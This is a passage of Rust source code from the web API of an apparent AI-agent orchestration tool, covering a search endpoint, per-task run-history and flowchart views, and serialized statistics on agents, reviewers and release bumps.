3473    let query = q.q.trim().to_owned();
3474    if query.is_empty() {
3475        return Err(ApiError::bad_request("q must not be empty"));
3476    }
3477    if query.chars().count() > SEARCH_MAX_QUERY {
3478        return Err(ApiError::bad_request(format!(
3479            "q is longer than {SEARCH_MAX_QUERY} characters"
3480        )));
3481    }
3482    let terms = search_terms(&query);
3483    if terms.len() > SEARCH_MAX_TERMS {
3484        return Err(ApiError::bad_request(format!(
3485            "q has more than {SEARCH_MAX_TERMS} terms"
3486        )));
3487    }
3488    let scope = q.scope;
3489    if scope != "runs" && scope != "tasks" && scope != "chats" {
3490        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3491    }
3492    blocking(move || {
3493        let mut view = SearchView {
3494            scope: scope.clone(),
3495            q: query,
3496            hits: Vec::new(),
3497            total: 0,
3498            truncated: false,
3499            unreadable: 0,
3500        };
3501        if scope == "runs" {
3502            let mut unreadable = 0;
3503            // One run.json is read, matched and dropped at a time; nothing
3504            // holds the whole history. The scan runs to the end even past the
3505            // hit cap so `total` and `unreadable` stay exact.
3506            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3507                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3508                match body.and_then(|b| serde_json::from_str(&b).ok()) {
3509                    Some(v) => Some((id, v)),
3510                    None => {
3511                        unreadable += 1;
3512                        None
3513                    }
3514                }
3515            });
3516            search_docs(&terms, docs, &mut view);
3517            view.unreadable = unreadable;
3518            // Only the capped hits get a row: the filters need a run's state,
3519            // and reading every match would be the whole history again.
3520            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3521            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3522            for hit in &mut view.hits {
3523                if let Ok(state) = read_run(&ui.runs, &hit.id) {
3524                    hit.run = summarize(
3525                        [state],
3526                        &open_runs,
3527                        &claimed,
3528                        &superseded,
3529                        |p| probe.borrow_mut().status(p),
3530                        |p| probe.borrow_mut().started_at(p),
3531                    )
3532                    .pop();
3533                }
3534            }
3535        } else if scope == "chats" {
3536            let (talks, unreadable) = ui.talks.list_counting_unreadable();
3537            view.unreadable = unreadable;
3538            search_docs(
3539                &terms,
3540                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3541                &mut view,
3542            );
3543        } else {
3544            let docs = ui.queue.list().into_iter().filter_map(|t| {
3545                let mut v = serde_json::to_value(&t).ok()?;
3546                // `source` serialises as a tagged object; the label is what
3547                // the operator reads ("human", "chat@a1b2").
3548                if let Some(o) = v.as_object_mut() {
3549                    o.insert("filed_by".to_owned(), t.source.label().into());
3550                }
3551                Some((t.id, v))
3552            });
3553            search_docs(&terms, docs, &mut view);
3554        }
3555        Ok(Json(view))
3556    })
3557    .await
3558}
3559
3560/// One attempt in a task's history, as the task page lists it.
3561#[derive(Debug, Serialize)]
3562struct TaskRunView {
3563    /// 1-based position in [`Task::runs`].
3564    n: usize,
3565    id: String,
3566    short: String,
3567    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
3568    kind: &'static str,
3569    /// The run's own status string; `None` when its record cannot be read.
3570    status: Option<&'static str>,
3571    /// Whether this build could read the run's record. Counted, never hidden.
3572    readable: bool,
3573    /// A verdict from a collapsed panel is provisional, never a decision.
3574    provisional: bool,
3575    /// What kind of attempt this was, in one line.
3576    description: String,
3577    /// How it ended and why the task moved on (or what it is doing now).
3578    outcome: String,
3579    created_at: Option<Timestamp>,
3580    pr: Option<String>,
3581    /// Why this pass ended, classified once; the flowchart is built from it.
3582    exit: RunExit,
3583    /// What the pass did to the task's attempt budget.
3584    attempt: AttemptCost,
3585    /// The branch a review-only run reopened.
3586    branch: Option<String>,
3587}
3588
3589/// How one pass over a run ended, as far as the task's life is concerned.
3590#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3591#[serde(rename_all = "snake_case")]
3592enum RunExit {
3593    Unreadable,
3594    /// An earlier pass of a run id that appears again: it stopped short.
3595    Interrupted,
3596    Parked,
3597    QuotaStall,
3598    /// Stalled on a resumed pass with quota losses on record: they may be
3599    /// left over from an earlier pass, so whether this one was refunded is
3600    /// not knowable.
3601    ResumedQuotaStall,
3602    Merged,
3603    Ready,
3604    Superseded,
3605    /// The change was already on the base under other commits: the task
3606    /// finished without this run landing anything.
3607    AlreadyInBase,
3608    /// Stalled without a rate limit to blame: no verdict, attempt spent.
3609    Stalled,
3610    /// Blocked / no-op with a pull request left open: held for a person.
3611    HeldWithPr,
3612    NoopHeld,
3613    /// Blocked or failed: the attempt is spent and the task retries or holds.
3614    Spent,
3615    InProgress,
3616}
3617
3618#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3619#[serde(rename_all = "snake_case")]
3620enum AttemptCost {
3621    Spent,
3622    Refunded,
3623    None,
3624    /// Cannot be told from the records that remain.
3625    Unknown,
3626}
3627
3628impl RunExit {
3629    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3630        let Some(s) = s else {
3631            return Self::Unreadable;
3632        };
3633        let status = s.status;
3634        if resumed_later {
3635            Self::Interrupted
3636        } else if s.parked {
3637            Self::Parked
3638        } else if !status.done() {
3639            Self::InProgress
3640        } else if matches!(status, RunStatus::Merged) {
3641            Self::Merged
3642        } else if matches!(status, RunStatus::Ready) {
3643            Self::Ready
3644        } else if matches!(status, RunStatus::Superseded) {
3645            Self::Superseded
3646        } else if matches!(status, RunStatus::AlreadyInBase) {
3647            Self::AlreadyInBase
3648        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3649            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3650        {
3651            if resumed {
3652                Self::ResumedQuotaStall
3653            } else {
3654                Self::QuotaStall
3655            }
3656        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3657            Self::HeldWithPr
3658        } else if matches!(status, RunStatus::VerifiedNoop) {
3659            Self::NoopHeld
3660        } else if matches!(status, RunStatus::Stalled) {
3661            Self::Stalled
3662        } else {
3663            Self::Spent
3664        }
3665    }
3666
3667    fn cost(self) -> AttemptCost {
3668        match self {
3669            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3670            Self::Merged
3671            | Self::Ready
3672            | Self::Stalled
3673            | Self::HeldWithPr
3674            | Self::NoopHeld
3675            | Self::Spent => AttemptCost::Spent,
3676            Self::InProgress => AttemptCost::None,
3677            Self::AlreadyInBase => AttemptCost::Refunded,
3678            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3679                AttemptCost::Unknown
3680            }
3681        }
3682    }
3683
3684    /// Short edge wording for leaving a run this way.
3685    fn edge_label(self, status: Option<&str>) -> String {
3686        match self {
3687            Self::Unreadable => "record unreadable".to_owned(),
3688            Self::Interrupted => "interrupted before the run finished".to_owned(),
3689            Self::Parked => "parked, attempt refunded".to_owned(),
3690            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3691            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3692            Self::Merged => "merged".to_owned(),
3693            Self::Ready => "ready, not merged".to_owned(),
3694            Self::Superseded => "superseded by a later attempt".to_owned(),
3695            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
3696            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
3697            Self::HeldWithPr => "blocked, PR left open".to_owned(),
3698            Self::NoopHeld => "verified no-op".to_owned(),
3699            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
3700            Self::InProgress => "in progress".to_owned(),
3701        }
3702    }
3703
3704    /// Does a task in `end` follow from a run that ended this way? When not,
3705    /// somebody closed or held the task by hand.
3706    fn explains(self, end: TaskStatus) -> bool {
3707        match self {
3708            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
3709            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
3710            Self::Unreadable | Self::Superseded | Self::Ready => true,
3711            _ => end != TaskStatus::Done,
3712        }
3713    }
3714}
3715
3716/// `GET /api/queue/{id}` - one task with every attempt it went through.
3717#[derive(Debug, Serialize)]
3718struct TaskDetailView {
3719    #[serde(flatten)]
3720    task: TaskView,
3721    /// The attempt budget `magi serve` / `magi web` start a loop with unless
3722    /// told otherwise; the loop's own flag is not visible from here.
3723    max_attempts: usize,
3724    history: Vec<TaskRunView>,
3725    flow: FlowView,
3726    /// How many entries of `history` could not be read.
3727    runs_unreadable: usize,
3728    /// Why the attempt count can be lower than the number of runs.
3729    attempts_note: &'static str,
3730}
3731
3732const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3733and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3734on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
3735in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3736
3737/// The branch a review-only run reopened, read off the instruction
3738/// `Runner::open_review` writes.
3739fn review_branch_of(instruction: &str) -> Option<&str> {
3740    let rest = instruction.strip_prefix("Review the work already on branch `")?;
3741    rest.split('`').next().filter(|b| !b.is_empty())
3742}
3743
3744/// Where an entry sits in a task's run list.
3745struct RunSlot<'a> {
3746    /// 1-based position.
3747    n: usize,
3748    /// The same run id appeared earlier: this pass resumed it.
3749    resumed: bool,
3750    /// Position of a later pass over the same run id, if any.
3751    resumed_later: Option<usize>,
3752    /// The previous distinct run and how it ended, for the retry note.
3753    prior: Option<(&'a str, RunStatus)>,
3754    last: bool,
3755}
3756
3757/// Describe one entry of a task's run list. Pure: everything it needs is on
3758/// the run and the task, so it is asserted without a server.
3759fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
3760    let RunSlot {
3761        n,
3762        resumed,
3763        resumed_later,
3764        prior,
3765        last,
3766    } = at;
3767    let short = run::short_of(id).to_owned();
3768    let Some(s) = state else {
3769        return TaskRunView {
3770            n,
3771            id: id.to_owned(),
3772            short,
3773            kind: "unknown",
3774            status: None,
3775            readable: false,
3776            provisional: false,
3777            description:
3778                "This run's record could not be read by this build (written by a different \
3779                          magi, or removed), so what kind of attempt it was is unknown."
3780                    .to_owned(),
3781            outcome: String::new(),
3782            created_at: None,
3783            pr: None,
3784            exit: RunExit::Unreadable,
3785            attempt: AttemptCost::Unknown,
3786            branch: None,
3787        };
3788    };
3789    let branch = review_branch_of(&s.instruction);
3790    let kind = if resumed {
3791        "resume"
3792    } else if branch.is_some() {
3793        "review"
3794    } else if task.solo || s.candidates.len() == 1 {
3795        "solo"
3796    } else {
3797        "competition"
3798    };
3799    let mut description = match kind {
3800        "resume" => {
3801            format!("Resumed run {short}: the same run carried on instead of competing again.")
3802        }
3803        "review" => format!(
3804            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
3805            branch.unwrap_or_default()
3806        ),
3807        "solo" => "Solo run: one implementer straight into review.".to_owned(),
3808        _ => format!(
3809            "Competition: {} candidates judged blind.",
3810            s.candidates.len().max(1)
3811        ),
3812    };
3813    if !resumed && let Some((p, st)) = prior {
3814        description.push_str(&format!(
3815            " A retry: run {p} before it ended {}.",
3816            st.display_label()
3817        ));
3818    }
3819
3820    let status = s.status;
3821    let provisional = matches!(status, RunStatus::Stalled)
3822        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
3823    let head = if resumed_later.is_some() {
3824        String::new()
3825    } else {
3826        match status {
3827            RunStatus::Merged => "Merged.".to_owned(),
3828            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
3829            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
3830            RunStatus::AlreadyInBase => {
3831                "Already in the base: this change landed under other commits, nothing was left to land."
3832                    .to_owned()
3833            }
3834            RunStatus::Stalled => {
3835                "Stalled: the judging panel never reached a quorum, so there is no verdict."
3836                    .to_owned()
3837            }
3838            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
3839            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
3840            RunStatus::VerifiedNoop => {
3841                "Verified no-op: the candidates found nothing to change.".to_owned()
3842            }
3843            other if other.done() => format!("Ended {}.", other.display_label()),
3844            other => format!("In progress ({}).", other.display_label()),
3845        }
3846    };
3847    let why = if let Some(k) = resumed_later {
3848        // A run is only picked up again while it is unfinished, so an earlier
3849        // pass of a repeated id stopped short; the record keeps only the run's
3850        // latest status, which is left to the pass that carried it on.
3851        // Only the latest state is recorded: `parked` is cleared on resume
3852        // and `quota` accumulates across passes, so neither says why *this*
3853        // pass stopped, and the refund is as unknown as `AttemptCost` says.
3854        let cause = if s.quota.is_empty() {
3855            "the cause was not recorded: a park, a crash or a restart all look the same from here"
3856        } else {
3857            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
3858        };
3859        format!(
3860            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
3861        )
3862    } else if s.parked {
3863        " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
3864            .to_owned()
3865    } else if !status.done()
3866        || matches!(
3867            status,
3868            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
3869        )
3870    {
3871        String::new()
3872    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3873        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3874    {
3875        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
3876            .to_owned()
3877    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3878        " It left a pull request open, so the task was held for a person rather than retried."
3879            .to_owned()
3880    } else if matches!(status, RunStatus::VerifiedNoop) {
3881        " Held for a person to check the claim.".to_owned()
3882    } else if last {
3883        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
3884    } else {
3885        " It spent an attempt, and the task moved on to the next run.".to_owned()
3886    };
3887    let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
3888    TaskRunView {
3889        n,
3890        id: id.to_owned(),
3891        short,
3892        kind,
3893        status: Some(status.as_str()),
3894        readable: true,
3895        provisional,
3896        description,
3897        outcome: format!("{head}{why}"),
3898        created_at: Some(s.created_at),
3899        pr: s.pr.as_ref().map(|p| p.url.clone()),
3900        exit,
3901        attempt: exit.cost(),
3902        branch: branch.map(str::to_owned),
3903    }
3904}
3905
3906/// One box of the task's flowchart.
3907#[derive(Debug, Serialize, PartialEq)]
3908struct FlowNode {
3909    /// Unique by position: a resumed run id appears once per pass.
3910    key: String,
3911    /// `chat`, `start`, `run` or `end`.
3912    kind: &'static str,
3913    label: String,
3914    /// Run status (or the task's, for `end`); `None` when it is not a fact
3915    /// about this box (unreadable, or a pass the run later resumed from).
3916    status: Option<&'static str>,
3917    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
3918    note: Option<&'static str>,
3919    run_kind: Option<&'static str>,
3920    detail: Option<String>,
3921    /// A readable run with a real verdict; a stall never is.
3922    decided: bool,
3923    readable: bool,
3924    href: Option<String>,
3925}
3926
3927#[derive(Debug, Serialize, PartialEq)]
3928struct FlowEdge {
3929    from: String,
3930    to: String,
3931    label: String,
3932    attempt: AttemptCost,
3933}
3934
3935#[derive(Debug, Serialize, PartialEq)]
3936struct FlowView {
3937    nodes: Vec<FlowNode>,
3938    edges: Vec<FlowEdge>,
3939    /// Attempts the task has counted since it was last released.
3940    attempts: usize,
3941    max_attempts: usize,
3942}
3943
3944/// Turn a task and its described runs into the flowchart's boxes and arrows.
3945/// Pure: the page only draws what this returns.
3946fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
3947    let node = |key: &str, kind, label: String| FlowNode {
3948        key: key.to_owned(),
3949        kind,
3950        label,
3951        status: None,
3952        note: None,
3953        run_kind: None,
3954        detail: None,
3955        decided: false,
3956        readable: true,
3957        href: None,
3958    };
3959    let mut nodes = Vec::new();
3960    let mut edges: Vec<FlowEdge> = Vec::new();
3961    // A task queued from a chat opens the flow with that conversation.
3962    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
3963        let mut n = node(
3964            "chat",
3965            "chat",
3966            format!("Chat {}", crate::queue::short(&link.id)),
3967        );
3968        n.href = Some(link.href);
3969        nodes.push(n);
3970        edges.push(FlowEdge {
3971            from: "chat".to_owned(),
3972            to: "start".to_owned(),
3973            label: "queued from chat".to_owned(),
3974            attempt: AttemptCost::None,
3975        });
3976    }
3977    nodes.push(node("start", "start", "Task queued".to_owned()));
3978    let mut prev = "start".to_owned();
3979    let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
3980    for (i, h) in history.iter().enumerate() {
3981        let key = format!("run-{}", h.n);
3982        let mut n = node(&key, "run", format!("Run {}", h.short));
3983        n.run_kind = Some(h.kind);
3984        n.readable = h.readable;
3985        n.href = Some(format!("#/runs/{}", h.id));
3986        n.decided = h.readable && !h.provisional;
3987        n.detail = h
3988            .branch
3989            .as_ref()
3990            .map(|b| format!("review-only run of branch {b}"));
3991        match h.exit {
3992            RunExit::Unreadable => n.note = Some("unreadable"),
3993            RunExit::Interrupted => n.note = Some("interrupted"),
3994            _ => {
3995                n.status = h.status;
3996                if h.provisional {
3997                    n.note = Some("no verdict");
3998                }
3999            }
4000        }
4001        let into = match h.kind {
4002            "review" => Some(format!(
4003                "review-only run of branch {}",
4004                h.branch.as_deref().unwrap_or("?")
4005            )),
4006            "resume" => Some("resume the same run".to_owned()),
4007            _ if i > 0 => Some("retry".to_owned()),
4008            _ => None,
4009        };
4010        let label = match (prev_exit, into) {
4011            (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4012            (Some((e, st)), None) => e.edge_label(st),
4013            (None, Some(i)) => i,
4014            (None, None) => "claimed".to_owned(),
4015        };
4016        edges.push(FlowEdge {
4017            from: prev.clone(),
4018            to: key.clone(),
4019            label,
4020            attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4021        });
4022        prev_exit = Some((h.exit, h.status));
4023        prev = key;
4024        nodes.push(n);
4025    }
4026    let mut end = node("end", "end", task.status.as_str().to_owned());
4027    end.status = Some(task.status.as_str());
4028    nodes.push(end);
4029    let (label, attempt) = match prev_exit {
4030        None => (
4031            format!("no run yet \u{2192} {}", task.status.as_str()),
4032            AttemptCost::None,
4033        ),
4034        Some((e, st)) if e.explains(task.status) => (
4035            format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4036            e.cost(),
4037        ),
4038        Some((e, _)) => (
4039            format!("closed by hand: task is {}", task.status.as_str()),
4040            e.cost(),
4041        ),
4042    };
4043    edges.push(FlowEdge {
4044        from: prev,
4045        to: "end".to_owned(),
4046        label,
4047        attempt,
4048    });
4049    FlowView {
4050        nodes,
4051        edges,
4052        attempts: task.attempts,
4053        max_attempts,
4054    }
4055}
4056
4057/// Describe every entry of `task.runs`, in order, reading each run's record
4058/// through `read`.
4059fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4060    let mut history = Vec::with_capacity(task.runs.len());
4061    let mut seen: Vec<&str> = Vec::new();
4062    let mut prior: Option<(&str, RunStatus)> = None;
4063    for (i, run_id) in task.runs.iter().enumerate() {
4064        let state = read(run_id);
4065        let resumed = seen.contains(&run_id.as_str());
4066        seen.push(run_id);
4067        history.push(task_run_view(
4068            run_id,
4069            state.as_ref(),
4070            RunSlot {
4071                n: i + 1,
4072                resumed,
4073                resumed_later: task.runs[i + 1..]
4074                    .iter()
4075                    .position(|r| r == run_id)
4076                    .map(|off| i + off + 2),
4077                prior,
4078                last: i + 1 == task.runs.len(),
4079            },
4080            task,
4081        ));
4082        if let Some(s) = &state {
4083            prior = Some((run::short_of(run_id), s.status));
4084        }
4085    }
4086    history
4087}
4088
4089async fn task_detail(
4090    State(ui): State<Arc<Ui>>,
4091    Path(id): Path<String>,
4092) -> ApiResult<Json<TaskDetailView>> {
4093    blocking(move || {
4094        let id = resolve_task(&ui.queue, &id)?;
4095        let task = ui
4096            .queue
4097            .get(&id)
4098            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4099        let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4100        let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4101        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4102        let max_attempts = daemon::Opts::default().max_attempts;
4103        let flow = task_flow(&task, &history, max_attempts);
4104        Ok(Json(TaskDetailView {
4105            max_attempts,
4106            flow,
4107            history,
4108            runs_unreadable,
4109            attempts_note: ATTEMPTS_NOTE,
4110            task: TaskView::with_inventory(task, &inv),
4111        }))
4112    })
4113    .await
4114}
4115
4116/// A rate together with its denominator, so the client can tell "computed as
4117/// 0%" apart from "no data to compute it from" — both would otherwise
4118/// serialize as `0.0`. `None` means the denominator was zero.
4119#[derive(Debug, Serialize)]
4120struct RateView {
4121    pct: f64,
4122    denominator: usize,
4123}
4124
4125impl RateView {
4126    fn of(numerator: usize, denominator: usize) -> Option<Self> {
4127        (denominator > 0).then(|| Self {
4128            pct: 100.0 * numerator as f64 / denominator as f64,
4129            denominator,
4130        })
4131    }
4132}
4133
4134/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
4135/// rates, each paired with its own denominator via [`RateView`] rather than
4136/// exposing `Stats`' own percentage methods directly — see this module's
4137/// doc for why `Stats` itself is never serialized.
4138#[derive(Debug, Serialize)]
4139struct StatsTotalsView {
4140    runs: usize,
4141    merged: usize,
4142    ready: usize,
4143    blocked: usize,
4144    failed: usize,
4145    stalled: usize,
4146    verified_noop: usize,
4147    superseded: usize,
4148    in_progress: usize,
4149    completion_rate: Option<RateView>,
4150    tallied: usize,
4151    split: usize,
4152    split_rate: Option<RateView>,
4153    deliberated: usize,
4154    minds_changed: usize,
4155    converged: usize,
4156    review_rounds: usize,
4157}
4158
4159impl From<&stats::Totals> for StatsTotalsView {
4160    fn from(t: &stats::Totals) -> Self {
4161        Self {
4162            runs: t.runs,
4163            merged: t.merged,
4164            ready: t.ready,
4165            blocked: t.blocked,
4166            failed: t.failed,
4167            stalled: t.stalled,
4168            verified_noop: t.verified_noop,
4169            superseded: t.superseded,
4170            in_progress: t.in_progress,
4171            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4172            tallied: t.tallied,
4173            split: t.split,
4174            split_rate: RateView::of(t.split, t.tallied),
4175            deliberated: t.deliberated,
4176            minds_changed: t.minds_changed,
4177            converged: t.converged,
4178            review_rounds: t.review_rounds,
4179        }
4180    }
4181}
4182
4183/// [`crate::stats::AgentStats`] for the wire.
4184#[derive(Debug, Serialize)]
4185struct AgentStatsView {
4186    agent: String,
4187    entered: usize,
4188    wins: usize,
4189    empty: usize,
4190    win_rate: Option<RateView>,
4191}
4192
4193impl From<&stats::AgentStats> for AgentStatsView {
4194    fn from(a: &stats::AgentStats) -> Self {
4195        Self {
4196            agent: a.agent.clone(),
4197            entered: a.entered,
4198            wins: a.wins,
4199            empty: a.empty,
4200            win_rate: RateView::of(a.wins, a.entered),
4201        }
4202    }
4203}
4204
4205/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
4206/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
4207/// value, `None` when `rounds` is zero.
4208#[derive(Debug, Serialize)]
4209struct ReviewerStatsView {
4210    agent: String,
4211    rounds: usize,
4212    seated: usize,
4213    submitted: usize,
4214    adopted: usize,
4215    unique: usize,
4216    timeouts: usize,
4217    adopted_per_round: Option<f64>,
4218    precision: Option<RateView>,
4219    unique_rate: Option<RateView>,
4220    timeout_rate: Option<RateView>,
4221}
4222
4223impl From<&stats::ReviewerStats> for ReviewerStatsView {
4224    fn from(r: &stats::ReviewerStats) -> Self {
4225        Self {
4226            agent: r.agent.clone(),
4227            rounds: r.rounds,
4228            seated: r.seated,
4229            submitted: r.submitted,
4230            adopted: r.adopted,
4231            unique: r.unique,
4232            timeouts: r.timeouts,
4233            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4234            precision: RateView::of(r.adopted, r.submitted),
4235            unique_rate: RateView::of(r.unique, r.submitted),
4236            timeout_rate: RateView::of(r.timeouts, r.seated),
4237        }
4238    }
4239}
4240
4241/// [`crate::stats::AdvisorStats`] for the wire.
4242///
4243/// `reflection_rate` is approximate by construction — see
4244/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
4245/// that caveat is static text in `index.html`, not a field here.
4246#[derive(Debug, Serialize)]
4247struct AdvisorStatsView {
4248    agent: String,
4249    seated: usize,
4250    proposed: usize,
4251    absent: usize,
4252    faint: usize,
4253    strong: usize,
4254    reflection_rate: Option<RateView>,
4255}
4256
4257impl From<&stats::AdvisorStats> for AdvisorStatsView {
4258    fn from(a: &stats::AdvisorStats) -> Self {
4259        Self {
4260            agent: a.agent.clone(),
4261            seated: a.seated,
4262            proposed: a.proposed,
4263            absent: a.absent,
4264            faint: a.faint,
4265            strong: a.strong,
4266            reflection_rate: RateView::of(a.strong, a.proposed),
4267        }
4268    }
4269}
4270
4271/// [`crate::stats::E2eStats`] for the wire.
4272#[derive(Debug, Serialize)]
4273struct E2eStatsView {
4274    rounds: usize,
4275    failures: usize,
4276    sole_detections: usize,
4277    deferred: usize,
4278    sole_rate: Option<RateView>,
4279}
4280
4281impl From<&stats::E2eStats> for E2eStatsView {
4282    fn from(e: &stats::E2eStats) -> Self {
4283        Self {
4284            rounds: e.rounds,
4285            failures: e.failures,
4286            sole_detections: e.sole_detections,
4287            deferred: e.deferred,
4288            sole_rate: RateView::of(e.sole_detections, e.failures),
4289        }
4290    }
4291}
4292
4293/// [`crate::stats::ReleaseBumpStats`] for the wire.
4294///
4295/// `clean` is sent as a raw count, computed the same way
4296/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
4297/// needs_attention`) — never derived client-side from `automerge_enabled`,
4298/// which would misclassify a `merged_directly` bump (automerge rejected, but
4299/// magi merged it directly, so no human involvement) as needing attention.
4300#[derive(Debug, Serialize)]
4301struct ReleaseBumpStatsView {
4302    merged: usize,
4303    recorded: usize,
4304    pr_opened: usize,
4305    automerge_enabled: usize,
4306    merged_directly: usize,
4307    needs_attention: usize,
4308    clean: usize,
4309    coverage_rate: Option<RateView>,
4310    automerge_rate: Option<RateView>,
4311    attention_rate: Option<RateView>,
4312}
4313
4314impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4315    fn from(b: &stats::ReleaseBumpStats) -> Self {
4316        Self {
4317            merged: b.merged,
4318            recorded: b.recorded,
4319            pr_opened: b.pr_opened,
4320            automerge_enabled: b.automerge_enabled,
4321            merged_directly: b.merged_directly,
4322            needs_attention: b.needs_attention,
4323            clean: b.clean(),
4324            coverage_rate: RateView::of(b.recorded, b.merged),
4325            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4326            attention_rate: RateView::of(b.needs_attention, b.recorded),
4327        }
4328    }
4329}
4330
4331/// [`crate::queue::TaskCounts`] for the wire.
4332#[derive(Debug, Serialize)]
4333struct TaskCountsView {
4334    queued: usize,
4335    running: usize,
4336    done: usize,
4337    failed: usize,
4338    held: usize,
4339    blocked: usize,
4340}
4341
4342impl From<crate::queue::TaskCounts> for TaskCountsView {
4343    fn from(c: crate::queue::TaskCounts) -> Self {
4344        Self {
4345            queued: c.queued,
4346            running: c.running,
4347            done: c.done,
4348            failed: c.failed,
4349            held: c.held,
4350            blocked: c.blocked,
4351        }
4352    }
4353}
4354
4355/// [`crate::stats::RepoStats`] for the wire, one row per repository with
4356/// runs recorded — the summary the UI's repository selector is built from.
4357/// Carries no nested `Stats`: picking a repo means re-fetching
4358/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
4359/// aggregation rather than duplicating it.
4360#[derive(Debug, Serialize)]
4361struct RepoSummaryView {
4362    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
4363    /// against, full path and all (see [`stats_get`]'s own doc for why).
4364    repo: String,
4365    /// Display name only; never used for matching.
4366    name: String,
4367    runs: usize,
4368    completion_rate: Option<RateView>,
4369}
4370
4371impl From<&stats::RepoStats> for RepoSummaryView {
4372    fn from(r: &stats::RepoStats) -> Self {
4373        let t = &r.stats.totals;
4374        Self {
4375            repo: r.repo.to_string_lossy().into_owned(),
4376            name: r.name.clone(),
4377            runs: t.runs,
4378            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4379        }
4380    }
4381}
4382
4383/// `GET /api/stats` - the whole answer. `Stats` itself carries no
4384/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
4385/// renders from them) are free to grow without that becoming a wire-contract
4386/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
4387/// data" from "computed and it really is zero" the way [`RateView`] does.
4388#[derive(Debug, Serialize)]
4389struct StatsView {
4390    totals: StatsTotalsView,
4391    /// Best win rate first, as [`stats::collect`] already sorts it.
4392    agents: Vec<AgentStatsView>,
4393    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
4394    reviewers: Vec<ReviewerStatsView>,
4395    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
4396    advisors: Vec<AdvisorStatsView>,
4397    e2e: E2eStatsView,
4398    release_bumps: ReleaseBumpStatsView,
4399    queue: TaskCountsView,
4400    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
4401    /// that field's doc. Asserted to match it in
4402    /// `stats_runs_unreadable_matches_health`.
4403    ///
4404    /// Always the whole-workload count, even when `repo` narrows every other
4405    /// field to one repository - an unreadable `run.json` carries no `repo`
4406    /// a per-repository count could attribute it to, and the queue/health
4407    /// views this mirrors never scope it either. The UI must not present it
4408    /// as if it were scoped to the selected repository.
4409    runs_unreadable: usize,
4410    /// Every repository with runs recorded, most runs first - what the UI's
